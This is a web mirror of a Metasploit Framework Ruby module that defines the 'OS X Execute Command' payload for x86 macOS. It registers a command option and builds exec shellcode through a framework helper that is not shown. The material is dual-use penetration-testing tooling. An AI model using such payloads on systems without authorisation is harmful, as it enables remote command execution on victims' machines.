Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/osx/x86/exec.rb
21551 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
###
7
#
8
# Exec
9
# ----
10
#
11
# Executes an arbitrary command.
12
#
13
###
14
module MetasploitModule
15
CachedSize = 24
16
17
include Msf::Payload::Single
18
include Msf::Payload::Bsd::X86
19
include Msf::Payload::Osx
20
21
def initialize(info = {})
22
super(
23
merge_info(
24
info,
25
'Name' => 'OS X Execute Command',
26
'Description' => 'Execute an arbitrary command',
27
'Author' => [
28
'snagg <snagg[at]openssl.it>',
29
'argp <argp[at]census-labs.com>',
30
'joev'
31
],
32
'License' => BSD_LICENSE,
33
'Platform' => 'osx',
34
'Arch' => ARCH_X86
35
)
36
)
37
38
register_options([
39
OptString.new('CMD', [ true, 'The command string to execute' ]),
40
])
41
end
42
43
#
44
# Dynamically builds the exec payload based on the user's options.
45
#
46
def generate(_opts = {})
47
bsd_x86_exec_payload
48
end
49
end
50
51